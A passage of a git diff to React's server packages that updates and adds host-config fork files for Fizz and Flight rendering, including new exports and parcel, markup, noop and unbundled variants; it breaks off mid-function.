+export const getViewTransitionFormatContext =
+  $$$config.getViewTransitionFormatContext;
 export const makeId = $$$config.makeId;
 export const pushTextInstance = $$$config.pushTextInstance;
 export const pushStartInstance = $$$config.pushStartInstance;
 export const pushEndInstance = $$$config.pushEndInstance;
-export const pushStartCompletedSuspenseBoundary =
-  $$$config.pushStartCompletedSuspenseBoundary;
-export const pushEndCompletedSuspenseBoundary =
-  $$$config.pushEndCompletedSuspenseBoundary;
 export const pushSegmentFinale = $$$config.pushSegmentFinale;
 export const pushFormStateMarkerIsMatching =
   $$$config.pushFormStateMarkerIsMatching;
@@ -58,6 +65,8 @@ export const pushFormStateMarkerIsNotMatching =
   $$$config.pushFormStateMarkerIsNotMatching;
 export const writeCompletedRoot = $$$config.writeCompletedRoot;
 export const writePlaceholder = $$$config.writePlaceholder;
+export const pushStartActivityBoundary = $$$config.pushStartActivityBoundary;
+export const pushEndActivityBoundary = $$$config.pushEndActivityBoundary;
 export const writeStartCompletedSuspenseBoundary =
   $$$config.writeStartCompletedSuspenseBoundary;
 export const writeStartPendingSuspenseBoundary =
@@ -79,14 +88,21 @@ export const writeCompletedBoundaryInstruction =
 export const writeClientRenderBoundaryInstruction =
   $$$config.writeClientRenderBoundaryInstruction;
 export const NotPendingTransition = $$$config.NotPendingTransition;
+export const createPreambleState = $$$config.createPreambleState;
+export const canHavePreamble = $$$config.canHavePreamble;
+export const isPreambleContext = $$$config.isPreambleContext;
+export const isPreambleReady = $$$config.isPreambleReady;
+export const hoistPreambleState = $$$config.hoistPreambleState;
 
 // -------------------------
 //     Resources
 // -------------------------
-export const writePreamble = $$$config.writePreamble;
+export const writePreambleStart = $$$config.writePreambleStart;
+export const writePreambleEnd = $$$config.writePreambleEnd;
 export const writeHoistables = $$$config.writeHoistables;
 export const writeHoistablesForBoundary = $$$config.writeHoistablesForBoundary;
 export const writePostamble = $$$config.writePostamble;
 export const hoistHoistables = $$$config.hoistHoistables;
 export const createHoistableState = $$$config.createHoistableState;
+export const hasSuspenseyContent = $$$config.hasSuspenseyContent;
 export const emitEarlyPreloads = $$$config.emitEarlyPreloads;
diff --git a/packages/react-server/src/forks/ReactFizzConfig.dom-edge.js b/packages/react-server/src/forks/ReactFizzConfig.dom-edge.js
index 7c5ba9bce7e2..244202002edd 100644
--- a/packages/react-server/src/forks/ReactFizzConfig.dom-edge.js
+++ b/packages/react-server/src/forks/ReactFizzConfig.dom-edge.js
@@ -10,6 +10,8 @@ import type {Request} from 'react-server/src/ReactFizzServer';
 
 export * from 'react-dom-bindings/src/server/ReactFizzConfigDOM';
 
+export * from 'react-client/src/ReactClientConsoleConfigServer';
+
 // For now, we get this from the global scope, but this will likely move to a module.
 export const supportsRequestStorage = typeof AsyncLocalStorage === 'function';
 export const requestStorage: AsyncLocalStorage<Request | void> =
diff --git a/packages/react-server/src/forks/ReactFizzConfig.dom-legacy.js b/packages/react-server/src/forks/ReactFizzConfig.dom-legacy.js
index 84d49396efcd..5695669839f8 100644
--- a/packages/react-server/src/forks/ReactFizzConfig.dom-legacy.js
+++ b/packages/react-server/src/forks/ReactFizzConfig.dom-legacy.js
@@ -10,5 +10,7 @@ import type {Request} from 'react-server/src/ReactFizzServer';
 
 export * from 'react-dom-bindings/src/server/ReactFizzConfigDOMLegacy';
 
+export * from 'react-client/src/ReactClientConsoleConfigPlain';
+
 export const supportsRequestStorage = false;
 export const requestStorage: AsyncLocalStorage<Request | void> = (null: any);
diff --git a/packages/react-server/src/forks/ReactFizzConfig.dom-node.js b/packages/react-server/src/forks/ReactFizzConfig.dom-node.js
index 8c9718e8234c..5ee4566ad09b 100644
--- a/packages/react-server/src/forks/ReactFizzConfig.dom-node.js
+++ b/packages/react-server/src/forks/ReactFizzConfig.dom-node.js
@@ -13,6 +13,8 @@ import type {Request} from 'react-server/src/ReactFizzServer';
 
 export * from 'react-dom-bindings/src/server/ReactFizzConfigDOM';
 
+export * from 'react-client/src/ReactClientConsoleConfigServer';
+
 export const supportsRequestStorage = true;
 export const requestStorage: AsyncLocalStorage<Request | void> =
   new AsyncLocalStorage();
diff --git a/packages/react-server/src/forks/ReactFizzConfig.dom.js b/packages/react-server/src/forks/ReactFizzConfig.dom.js
index 2bf9be13273d..17ddc166a792 100644
--- a/packages/react-server/src/forks/ReactFizzConfig.dom.js
+++ b/packages/react-server/src/forks/ReactFizzConfig.dom.js
@@ -10,5 +10,7 @@ import type {Request} from 'react-server/src/ReactFizzServer';
 
 export * from 'react-dom-bindings/src/server/ReactFizzConfigDOM';
 
+export * from 'react-client/src/ReactClientConsoleConfigBrowser';
+
 export const supportsRequestStorage = false;
 export const requestStorage: AsyncLocalStorage<Request | void> = (null: any);
diff --git a/packages/react-server/src/forks/ReactFizzConfig.markup.js b/packages/react-server/src/forks/ReactFizzConfig.markup.js
new file mode 100644
index 000000000000..ed3fa90ff153
--- /dev/null
+++ b/packages/react-server/src/forks/ReactFizzConfig.markup.js
@@ -0,0 +1,16 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+import type {Request} from 'react-server/src/ReactFizzServer';
+
+export * from 'react-markup/src/ReactFizzConfigMarkup.js';
+
+export * from 'react-client/src/ReactClientConsoleConfigPlain';
+
+export const supportsRequestStorage = false;
+export const requestStorage: AsyncLocalStorage<Request | void> = (null: any);
diff --git a/packages/react-server/src/forks/ReactFizzConfig.noop.js b/packages/react-server/src/forks/ReactFizzConfig.noop.js
new file mode 100644
index 000000000000..791c402bf773
--- /dev/null
+++ b/packages/react-server/src/forks/ReactFizzConfig.noop.js
@@ -0,0 +1,108 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+// This is a host config that's used for the `react-server` package on npm.
+// It is only used by third-party renderers.
+//
+// Its API lets you pass the host config as an argument.
+// However, inside the `react-server` we treat host config as a module.
+// This file is a shim between two worlds.
+//
+// It works because the `react-server` bundle is wrapped in something like:
+//
+// module.exports = function ($$$config) {
+//   /* renderer code */
+// }
+//
+// So `$$$config` looks like a global variable, but it's
+// really an argument to a top-level wrapping function.
+
+import type {Request} from 'react-server/src/ReactFizzServer';
+import type {TransitionStatus} from 'react-reconciler/src/ReactFiberConfig';
+
+declare const $$$config: $FlowFixMe;
+export opaque type Destination = mixed;
+export opaque type RenderState = mixed;
+export opaque type HoistableState = mixed;
+export opaque type ResumableState = mixed;
+export opaque type PreambleState = mixed;
+export opaque type FormatContext = mixed;
+export opaque type HeadersDescriptor = mixed;
+export type {TransitionStatus};
+
+export const isPrimaryRenderer = false;
+
+export const supportsClientAPIs = true;
+
+export const supportsRequestStorage = false;
+export const requestStorage: AsyncLocalStorage<Request | void> = (null: any);
+
+export const bindToConsole = $$$config.bindToConsole;
+
+export const resetResumableState = $$$config.resetResumableState;
+export const completeResumableState = $$$config.completeResumableState;
+export const getChildFormatContext = $$$config.getChildFormatContext;
+export const getSuspenseFallbackFormatContext =
+  $$$config.getSuspenseFallbackFormatContext;
+export const getSuspenseContentFormatContext =
+  $$$config.getSuspenseContentFormatContext;
+export const getViewTransitionFormatContext =
+  $$$config.getViewTransitionFormatContext;
+export const makeId = $$$config.makeId;
+export const pushTextInstance = $$$config.pushTextInstance;
+export const pushStartInstance = $$$config.pushStartInstance;
+export const pushEndInstance = $$$config.pushEndInstance;
+export const pushSegmentFinale = $$$config.pushSegmentFinale;
+export const pushFormStateMarkerIsMatching =
+  $$$config.pushFormStateMarkerIsMatching;
+export const pushFormStateMarkerIsNotMatching =
+  $$$config.pushFormStateMarkerIsNotMatching;
+export const writeCompletedRoot = $$$config.writeCompletedRoot;
+export const writePlaceholder = $$$config.writePlaceholder;
+export const pushStartActivityBoundary = $$$config.pushStartActivityBoundary;
+export const pushEndActivityBoundary = $$$config.pushEndActivityBoundary;
+export const writeStartCompletedSuspenseBoundary =
+  $$$config.writeStartCompletedSuspenseBoundary;
+export const writeStartPendingSuspenseBoundary =
+  $$$config.writeStartPendingSuspenseBoundary;
+export const writeStartClientRenderedSuspenseBoundary =
+  $$$config.writeStartClientRenderedSuspenseBoundary;
+export const writeEndCompletedSuspenseBoundary =
+  $$$config.writeEndCompletedSuspenseBoundary;
+export const writeEndPendingSuspenseBoundary =
+  $$$config.writeEndPendingSuspenseBoundary;
+export const writeEndClientRenderedSuspenseBoundary =
+  $$$config.writeEndClientRenderedSuspenseBoundary;
+export const writeStartSegment = $$$config.writeStartSegment;
+export const writeEndSegment = $$$config.writeEndSegment;
+export const writeCompletedSegmentInstruction =
+  $$$config.writeCompletedSegmentInstruction;
+export const writeCompletedBoundaryInstruction =
+  $$$config.writeCompletedBoundaryInstruction;
+export const writeClientRenderBoundaryInstruction =
+  $$$config.writeClientRenderBoundaryInstruction;
+export const NotPendingTransition = $$$config.NotPendingTransition;
+export const createPreambleState = $$$config.createPreambleState;
+export const canHavePreamble = $$$config.canHavePreamble;
+export const isPreambleContext = $$$config.isPreambleContext;
+export const isPreambleReady = $$$config.isPreambleReady;
+export const hoistPreambleState = $$$config.hoistPreambleState;
+
+// -------------------------
+//     Resources
+// -------------------------
+export const writePreambleStart = $$$config.writePreambleStart;
+export const writePreambleEnd = $$$config.writePreambleEnd;
+export const writeHoistables = $$$config.writeHoistables;
+export const writeHoistablesForBoundary = $$$config.writeHoistablesForBoundary;
+export const writePostamble = $$$config.writePostamble;
+export const hoistHoistables = $$$config.hoistHoistables;
+export const createHoistableState = $$$config.createHoistableState;
+export const hasSuspenseyContent = $$$config.hasSuspenseyContent;
+export const emitEarlyPreloads = $$$config.emitEarlyPreloads;
diff --git a/packages/react-server/src/forks/ReactFlightServerConfig.custom.js b/packages/react-server/src/forks/ReactFlightServerConfig.custom.js
index 5afdf8c29c88..a7f0ee3d991b 100644
--- a/packages/react-server/src/forks/ReactFlightServerConfig.custom.js
+++ b/packages/react-server/src/forks/ReactFlightServerConfig.custom.js
@@ -14,13 +14,14 @@ export * from '../ReactFlightServerConfigBundlerCustom';
 
 export * from '../ReactFlightServerConfigDebugNoop';
 
+export * from '../ReactFlightStackConfigV8';
+export * from '../ReactServerConsoleConfigPlain';
+
 export type Hints = any;
 export type HintCode = any;
 // eslint-disable-next-line no-unused-vars
 export type HintModel<T: any> = any;
 
-export const isPrimaryRenderer = false;
-
 export const supportsRequestStorage = false;
 export const requestStorage: AsyncLocalStorage<Request | void> = (null: any);
 
@@ -31,3 +32,17 @@ export const componentStorage: AsyncLocalStorage<ReactComponentInfo | void> =
 export function createHints(): any {
   return null;
 }
+
+export type FormatContext = null;
+
+export function createRootFormatContext(): FormatContext {
+  return null;
+}
+
+export function getChildFormatContext(
+  parentContext: FormatContext,
+  type: string,
+  props: Object,
+): FormatContext {
+  return parentContext;
+}
diff --git a/packages/react-server/src/forks/ReactFlightServerConfig.dom-browser-esm.js b/packages/react-server/src/forks/ReactFlightServerConfig.dom-browser-esm.js
index 3b6251d37b4b..f7abb24acfc7 100644
--- a/packages/react-server/src/forks/ReactFlightServerConfig.dom-browser-esm.js
+++ b/packages/react-server/src/forks/ReactFlightServerConfig.dom-browser-esm.js
@@ -10,7 +10,7 @@
 import type {Request} from 'react-server/src/ReactFlightServer';
 import type {ReactComponentInfo} from 'shared/ReactTypes';
 
-export * from 'react-server-dom-esm/src/ReactFlightServerConfigESMBundler';
+export * from 'react-server-dom-esm/src/server/ReactFlightServerConfigESMBundler';
 export * from 'react-dom-bindings/src/server/ReactFlightServerConfigDOM';
 
 export const supportsRequestStorage = false;
@@ -21,3 +21,6 @@ export const componentStorage: AsyncLocalStorage<ReactComponentInfo | void> =
   (null: any);
 
 export * from '../ReactFlightServerConfigDebugNoop';
+
+export * from '../ReactFlightStackConfigV8';
+export * from '../ReactServerConsoleConfigBrowser';
diff --git a/packages/react-server/src/forks/ReactFlightServerConfig.dom-browser-parcel.js b/packages/react-server/src/forks/ReactFlightServerConfig.dom-browser-parcel.js
new file mode 100644
index 000000000000..d4ab5fe86cf0
--- /dev/null
+++ b/packages/react-server/src/forks/ReactFlightServerConfig.dom-browser-parcel.js
@@ -0,0 +1,26 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {Request} from 'react-server/src/ReactFlightServer';
+import type {ReactComponentInfo} from 'shared/ReactTypes';
+
+export * from 'react-server-dom-parcel/src/server/ReactFlightServerConfigParcelBundler';
+export * from 'react-dom-bindings/src/server/ReactFlightServerConfigDOM';
+
+export const supportsRequestStorage = false;
+export const requestStorage: AsyncLocalStorage<Request | void> = (null: any);
+
+export const supportsComponentStorage = false;
+export const componentStorage: AsyncLocalStorage<ReactComponentInfo | void> =
+  (null: any);
+
+export * from '../ReactFlightServerConfigDebugNoop';
+
+export * from '../ReactFlightStackConfigV8';
+export * from '../ReactServerConsoleConfigBrowser';
diff --git a/packages/react-server/src/forks/ReactFlightServerConfig.dom-browser-turbopack.js b/packages/react-server/src/forks/ReactFlightServerConfig.dom-browser-turbopack.js
index 9b9440a3dae8..a28bae93cac5 100644
--- a/packages/react-server/src/forks/ReactFlightServerConfig.dom-browser-turbopack.js
+++ b/packages/react-server/src/forks/ReactFlightServerConfig.dom-browser-turbopack.js
@@ -10,7 +10,7 @@
 import type {Request} from 'react-server/src/ReactFlightServer';
 import type {ReactComponentInfo} from 'shared/ReactTypes';
 
-export * from 'react-server-dom-turbopack/src/ReactFlightServerConfigTurbopackBundler';
+export * from 'react-server-dom-turbopack/src/server/ReactFlightServerConfigTurbopackBundler';
 export * from 'react-dom-bindings/src/server/ReactFlightServerConfigDOM';
 
 export const supportsRequestStorage = false;
@@ -21,3 +21,6 @@ export const componentStorage: AsyncLocalStorage<ReactComponentInfo | void> =
   (null: any);
 
 export * from '../ReactFlightServerConfigDebugNoop';
+
+export * from '../ReactFlightStackConfigV8';
+export * from '../ReactServerConsoleConfigBrowser';
diff --git a/packages/react-server/src/forks/ReactFlightServerConfig.dom-browser.js b/packages/react-server/src/forks/ReactFlightServerConfig.dom-browser.js
index 4dbfae1ce3ec..a34bbf28c532 100644
--- a/packages/react-server/src/forks/ReactFlightServerConfig.dom-browser.js
+++ b/packages/react-server/src/forks/ReactFlightServerConfig.dom-browser.js
@@ -10,7 +10,7 @@
 import type {Request} from 'react-server/src/ReactFlightServer';
 import type {ReactComponentInfo} from 'shared/ReactTypes';
 
-export * from 'react-server-dom-webpack/src/ReactFlightServerConfigWebpackBundler';
+export * from 'react-server-dom-webpack/src/server/ReactFlightServerConfigWebpackBundler';
 export * from 'react-dom-bindings/src/server/ReactFlightServerConfigDOM';
 
 export const supportsRequestStorage = false;
@@ -21,3 +21,6 @@ export const componentStorage: AsyncLocalStorage<ReactComponentInfo | void> =
   (null: any);
 
 export * from '../ReactFlightServerConfigDebugNoop';
+
+export * from '../ReactFlightStackConfigV8';
+export * from '../ReactServerConsoleConfigBrowser';
diff --git a/packages/react-server/src/forks/ReactFlightServerConfig.dom-bun.js b/packages/react-server/src/forks/ReactFlightServerConfig.dom-bun.js
index bfe794c9a2c5..04fa6348123a 100644
--- a/packages/react-server/src/forks/ReactFlightServerConfig.dom-bun.js
+++ b/packages/react-server/src/forks/ReactFlightServerConfig.dom-bun.js
@@ -21,3 +21,6 @@ export const componentStorage: AsyncLocalStorage<ReactComponentInfo | void> =
   (null: any);
 
 export * from '../ReactFlightServerConfigDebugNoop';
+
+export * from '../ReactFlightStackConfigV8';
+export * from '../ReactServerConsoleConfigPlain';
diff --git a/packages/react-server/src/forks/ReactFlightServerConfig.dom-edge-parcel.js b/packages/react-server/src/forks/ReactFlightServerConfig.dom-edge-parcel.js
new file mode 100644
index 000000000000..0cd224a54055
--- /dev/null
+++ b/packages/react-server/src/forks/ReactFlightServerConfig.dom-edge-parcel.js
@@ -0,0 +1,28 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+import type {Request} from 'react-server/src/ReactFlightServer';
+import type {ReactComponentInfo} from 'shared/ReactTypes';
+
+export * from 'react-server-dom-parcel/src/server/ReactFlightServerConfigParcelBundler';
+export * from 'react-dom-bindings/src/server/ReactFlightServerConfigDOM';
+
+// For now, we get this from the global scope, but this will likely move to a module.
+export const supportsRequestStorage = typeof AsyncLocalStorage === 'function';
+export const requestStorage: AsyncLocalStorage<Request | void> =
+  supportsRequestStorage ? new AsyncLocalStorage() : (null: any);
+
+export const supportsComponentStorage: boolean =
+  __DEV__ && supportsRequestStorage;
+export const componentStorage: AsyncLocalStorage<ReactComponentInfo | void> =
+  supportsComponentStorage ? new AsyncLocalStorage() : (null: any);
+
+export * from '../ReactFlightServerConfigDebugNoop';
+
+export * from '../ReactFlightStackConfigV8';
+export * from '../ReactServerConsoleConfigServer';
diff --git a/packages/react-server/src/forks/ReactFlightServerConfig.dom-edge-turbopack.js b/packages/react-server/src/forks/ReactFlightServerConfig.dom-edge-turbopack.js
index 56d00364ec24..67f82f59a6a2 100644
--- a/packages/react-server/src/forks/ReactFlightServerConfig.dom-edge-turbopack.js
+++ b/packages/react-server/src/forks/ReactFlightServerConfig.dom-edge-turbopack.js
@@ -9,7 +9,7 @@
 import type {Request} from 'react-server/src/ReactFlightServer';
 import type {ReactComponentInfo} from 'shared/ReactTypes';
 
-export * from 'react-server-dom-turbopack/src/ReactFlightServerConfigTurbopackBundler';
+export * from 'react-server-dom-turbopack/src/server/ReactFlightServerConfigTurbopackBundler';
 export * from 'react-dom-bindings/src/server/ReactFlightServerConfigDOM';
 
 // For now, we get this from the global scope, but this will likely move to a module.
@@ -22,17 +22,7 @@ export const supportsComponentStorage: boolean =
 export const componentStorage: AsyncLocalStorage<ReactComponentInfo | void> =
   supportsComponentStorage ? new AsyncLocalStorage() : (null: any);
 
-// We use the Node version but get access to async_hooks from a global.
-import type {HookCallbacks, AsyncHook} from 'async_hooks';
-export const createAsyncHook: HookCallbacks => AsyncHook =
-  typeof async_hooks === 'object'
-    ? async_hooks.createHook
-    : function () {
-        return ({
-          enable() {},
-          disable() {},
-        }: any);
-      };
-export const executionAsyncId: () => number =
-  typeof async_hooks === 'object' ? async_hooks.executionAsyncId : (null: any);
-export * from '../ReactFlightServerConfigDebugNode';
+export * from '../ReactFlightServerConfigDebugNoop';
+
+export * from '../ReactFlightStackConfigV8';
+export * from '../ReactServerConsoleConfigServer';
diff --git a/packages/react-server/src/forks/ReactFlightServerConfig.dom-edge.js b/packages/react-server/src/forks/ReactFlightServerConfig.dom-edge.js
index 322f3a10989d..c7605c0fcbc7 100644
--- a/packages/react-server/src/forks/ReactFlightServerConfig.dom-edge.js
+++ b/packages/react-server/src/forks/ReactFlightServerConfig.dom-edge.js
@@ -10,7 +10,7 @@
 import type {Request} from 'react-server/src/ReactFlightServer';
 import type {ReactComponentInfo} from 'shared/ReactTypes';
 
-export * from 'react-server-dom-webpack/src/ReactFlightServerConfigWebpackBundler';
+export * from 'react-server-dom-webpack/src/server/ReactFlightServerConfigWebpackBundler';
 export * from 'react-dom-bindings/src/server/ReactFlightServerConfigDOM';
 
 // For now, we get this from the global scope, but this will likely move to a module.
@@ -23,17 +23,7 @@ export const supportsComponentStorage: boolean =
 export const componentStorage: AsyncLocalStorage<ReactComponentInfo | void> =
   supportsComponentStorage ? new AsyncLocalStorage() : (null: any);
 
-// We use the Node version but get access to async_hooks from a global.
-import type {HookCallbacks, AsyncHook} from 'async_hooks';
-export const createAsyncHook: HookCallbacks => AsyncHook =
-  typeof async_hooks === 'object'
-    ? async_hooks.createHook
-    : function () {
-        return ({
-          enable() {},
-          disable() {},
-        }: any);
-      };
-export const executionAsyncId: () => number =
-  typeof async_hooks === 'object' ? async_hooks.executionAsyncId : (null: any);
-export * from '../ReactFlightServerConfigDebugNode';
+export * from '../ReactFlightServerConfigDebugNoop';
+
+export * from '../ReactFlightStackConfigV8';
+export * from '../ReactServerConsoleConfigServer';
diff --git a/packages/react-server/src/forks/ReactFlightServerConfig.dom-legacy.js b/packages/react-server/src/forks/ReactFlightServerConfig.dom-legacy.js
index bfe794c9a2c5..2b4d2e1e809e 100644
--- a/packages/react-server/src/forks/ReactFlightServerConfig.dom-legacy.js
+++ b/packages/react-server/src/forks/ReactFlightServerConfig.dom-legacy.js
@@ -11,7 +11,16 @@ import type {Request} from 'react-server/src/ReactFlightServer';
 import type {ReactComponentInfo} from 'shared/ReactTypes';
 
 export * from '../ReactFlightServerConfigBundlerCustom';
-export * from 'react-dom-bindings/src/server/ReactFlightServerConfigDOM';
+
+export * from '../ReactFlightServerConfigDebugNoop';
+
+export * from '../ReactFlightStackConfigV8';
+export * from '../ReactServerConsoleConfigServer';
+
+export type Hints = any;
+export type HintCode = any;
+// eslint-disable-next-line no-unused-vars
+export type HintModel<T: any> = any;
 
 export const supportsRequestStorage = false;
 export const requestStorage: AsyncLocalStorage<Request | void> = (null: any);
@@ -20,4 +29,20 @@ export const supportsComponentStorage = false;
 export const componentStorage: AsyncLocalStorage<ReactComponentInfo | void> =
   (null: any);
 
-export * from '../ReactFlightServerConfigDebugNoop';
+export function createHints(): any {
+  return null;
+}
+
+export type FormatContext = null;
+
+export function createRootFormatContext(): FormatContext {
+  return null;
+}
+
+export function getChildFormatContext(
+  parentContext: FormatContext,
+  type: string,
+  props: Object,
+): FormatContext {
+  return parentContext;
+}
diff --git a/packages/react-server/src/forks/ReactFlightServerConfig.dom-node-esm.js b/packages/react-server/src/forks/ReactFlightServerConfig.dom-node-esm.js
index b44d6fe2457b..04ece77cc4a4 100644
--- a/packages/react-server/src/forks/ReactFlightServerConfig.dom-node-esm.js
+++ b/packages/react-server/src/forks/ReactFlightServerConfig.dom-node-esm.js
@@ -12,7 +12,7 @@ import {AsyncLocalStorage} from 'async_hooks';
 import type {Request} from 'react-server/src/ReactFlightServer';
 import type {ReactComponentInfo} from 'shared/ReactTypes';
 
-export * from 'react-server-dom-esm/src/ReactFlightServerConfigESMBundler';
+export * from 'react-server-dom-esm/src/server/ReactFlightServerConfigESMBundler';
 export * from 'react-dom-bindings/src/server/ReactFlightServerConfigDOM';
 
 export const supportsRequestStorage = true;
@@ -23,5 +23,7 @@ export const supportsComponentStorage = __DEV__;
 export const componentStorage: AsyncLocalStorage<ReactComponentInfo | void> =
   supportsComponentStorage ? new AsyncLocalStorage() : (null: any);
 
-export {createHook as createAsyncHook, executionAsyncId} from 'async_hooks';
 export * from '../ReactFlightServerConfigDebugNode';
+
+export * from '../ReactFlightStackConfigV8';
+export * from '../ReactServerConsoleConfigServer';
diff --git a/packages/react-server/src/forks/ReactFlightServerConfig.dom-node-parcel.js b/packages/react-server/src/forks/ReactFlightServerConfig.dom-node-parcel.js
new file mode 100644
index 000000000000..b4f0f98a2db4
--- /dev/null
+++ b/packages/react-server/src/forks/ReactFlightServerConfig.dom-node-parcel.js
@@ -0,0 +1,29 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import {AsyncLocalStorage} from 'async_hooks';
+
+import type {Request} from 'react-server/src/ReactFlightServer';
+import type {ReactComponentInfo} from 'shared/ReactTypes';
+
+export * from 'react-server-dom-parcel/src/server/ReactFlightServerConfigParcelBundler';
+export * from 'react-dom-bindings/src/server/ReactFlightServerConfigDOM';
+
+export const supportsRequestStorage = true;
+export const requestStorage: AsyncLocalStorage<Request | void> =
+  new AsyncLocalStorage();
+
+export const supportsComponentStorage = __DEV__;
+export const componentStorage: AsyncLocalStorage<ReactComponentInfo | void> =
+  supportsComponentStorage ? new AsyncLocalStorage() : (null: any);
+
+export * from '../ReactFlightServerConfigDebugNode';
+
+export * from '../ReactFlightStackConfigV8';
+export * from '../ReactServerConsoleConfigServer';
diff --git a/packages/react-server/src/forks/ReactFlightServerConfig.dom-node-turbopack.js b/packages/react-server/src/forks/ReactFlightServerConfig.dom-node-turbopack.js
index eb566f3e2e43..03975f6bf5fe 100644
--- a/packages/react-server/src/forks/ReactFlightServerConfig.dom-node-turbopack.js
+++ b/packages/react-server/src/forks/ReactFlightServerConfig.dom-node-turbopack.js
@@ -12,7 +12,7 @@ import {AsyncLocalStorage} from 'async_hooks';
 import type {Request} from 'react-server/src/ReactFlightServer';
 import type {ReactComponentInfo} from 'shared/ReactTypes';
 
-export * from 'react-server-dom-turbopack/src/ReactFlightServerConfigTurbopackBundler';
+export * from 'react-server-dom-turbopack/src/server/ReactFlightServerConfigTurbopackBundler';
 export * from 'react-dom-bindings/src/server/ReactFlightServerConfigDOM';
 
 export const supportsRequestStorage = true;
@@ -23,5 +23,7 @@ export const supportsComponentStorage = __DEV__;
 export const componentStorage: AsyncLocalStorage<ReactComponentInfo | void> =
   supportsComponentStorage ? new AsyncLocalStorage() : (null: any);
 
-export {createHook as createAsyncHook, executionAsyncId} from 'async_hooks';
 export * from '../ReactFlightServerConfigDebugNode';
+
+export * from '../ReactFlightStackConfigV8';
+export * from '../ReactServerConsoleConfigServer';
diff --git a/packages/react-server/src/forks/ReactFlightServerConfig.dom-node-unbundled.js b/packages/react-server/src/forks/ReactFlightServerConfig.dom-node-unbundled.js
new file mode 100644
index 000000000000..661b756fc82f
--- /dev/null
+++ b/packages/react-server/src/forks/ReactFlightServerConfig.dom-node-unbundled.js
@@ -0,0 +1,29 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import {AsyncLocalStorage} from 'async_hooks';
+
+import type {Request} from 'react-server/src/ReactFlightServer';
+import type {ReactComponentInfo} from 'shared/ReactTypes';
+
+export * from 'react-server-dom-unbundled/src/server/ReactFlightServerConfigUnbundledBundler';
+export * from 'react-dom-bindings/src/server/ReactFlightServerConfigDOM';
+
+export const supportsRequestStorage = true;
+export const requestStorage: AsyncLocalStorage<Request | void> =
+  new AsyncLocalStorage();
+
+export const supportsComponentStorage = __DEV__;
+export const componentStorage: AsyncLocalStorage<ReactComponentInfo | void> =
+  supportsComponentStorage ? new AsyncLocalStorage() : (null: any);
+
+export * from '../ReactFlightServerConfigDebugNode';
+
+export * from '../ReactFlightStackConfigV8';
+export * from '../ReactServerConsoleConfigServer';
diff --git a/packages/react-server/src/forks/ReactFlightServerConfig.dom-node.js b/packages/react-server/src/forks/ReactFlightServerConfig.dom-node.js
index 40c58ea2dde1..f60f0f0242a2 100644
--- a/packages/react-server/src/forks/ReactFlightServerConfig.dom-node.js
+++ b/packages/react-server/src/forks/ReactFlightServerConfig.dom-node.js
@@ -12,7 +12,7 @@ import {AsyncLocalStorage} from 'async_hooks';
 import type {Request} from 'react-server/src/ReactFlightServer';
 import type {ReactComponentInfo} from 'shared/ReactTypes';
 
-export * from 'react-server-dom-webpack/src/ReactFlightServerConfigWebpackBundler';
+export * from 'react-server-dom-webpack/src/server/ReactFlightServerConfigWebpackBundler';
 export * from 'react-dom-bindings/src/server/ReactFlightServerConfigDOM';
 
 export const supportsRequestStorage = true;
@@ -23,5 +23,7 @@ export const supportsComponentStorage = __DEV__;
 export const componentStorage: AsyncLocalStorage<ReactComponentInfo | void> =
   supportsComponentStorage ? new AsyncLocalStorage() : (null: any);
 
-export {createHook as createAsyncHook, executionAsyncId} from 'async_hooks';
 export * from '../ReactFlightServerConfigDebugNode';
+
+export * from '../ReactFlightStackConfigV8';
+export * from '../ReactServerConsoleConfigServer';
diff --git a/packages/react-server/src/forks/ReactFlightServerConfig.markup.js b/packages/react-server/src/forks/ReactFlightServerConfig.markup.js
new file mode 100644
index 000000000000..ca8c4670834f
--- /dev/null
+++ b/packages/react-server/src/forks/ReactFlightServerConfig.markup.js
@@ -0,0 +1,114 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {Request} from 'react-server/src/ReactFlightServer';
+import type {ReactComponentInfo} from 'shared/ReactTypes';
+import type {ReactClientValue} from 'react-server/src/ReactFlightServer';
+
+export type HintCode = string;
+export type HintModel<T: HintCode> = null; // eslint-disable-line no-unused-vars
+export type Hints = null;
+
+export function createHints(): Hints {
+  return null;
+}
+
+export type FormatContext = null;
+
+export function createRootFormatContext(): FormatContext {
+  return null;
+}
+
+export function getChildFormatContext(
+  parentContext: FormatContext,
+  type: string,
+  props: Object,
+): FormatContext {
+  return parentContext;
+}
+
+export const supportsRequestStorage = false;
+export const requestStorage: AsyncLocalStorage<Request | void> = (null: any);
+
+export const supportsComponentStorage = false;
+export const componentStorage: AsyncLocalStorage<ReactComponentInfo | void> =
+  (null: any);
+
+export * from '../ReactFlightServerConfigDebugNoop';
+
+export * from '../ReactFlightStackConfigV8';
+export * from '../ReactServerConsoleConfigPlain';
+
+export type ClientManifest = null;
+export opaque type ClientReference<T> = null; // eslint-disable-line no-unused-vars
+export opaque type ServerReference<T> = null; // eslint-disable-line no-unused-vars
+export opaque type ClientReferenceMetadata: any = null;
+export opaque type ServerReferenceId: string = string;
+export opaque type ClientReferenceKey: any = string;
+
+const CLIENT_REFERENCE_TAG = Symbol.for('react.client.reference');
+const SERVER_REFERENCE_TAG = Symbol.for('react.server.reference');
+
+export function isClientReference(reference: Object): boolean {
+  return reference.$$typeof === CLIENT_REFERENCE_TAG;
+}
+
+export function isServerReference(reference: Object): boolean {
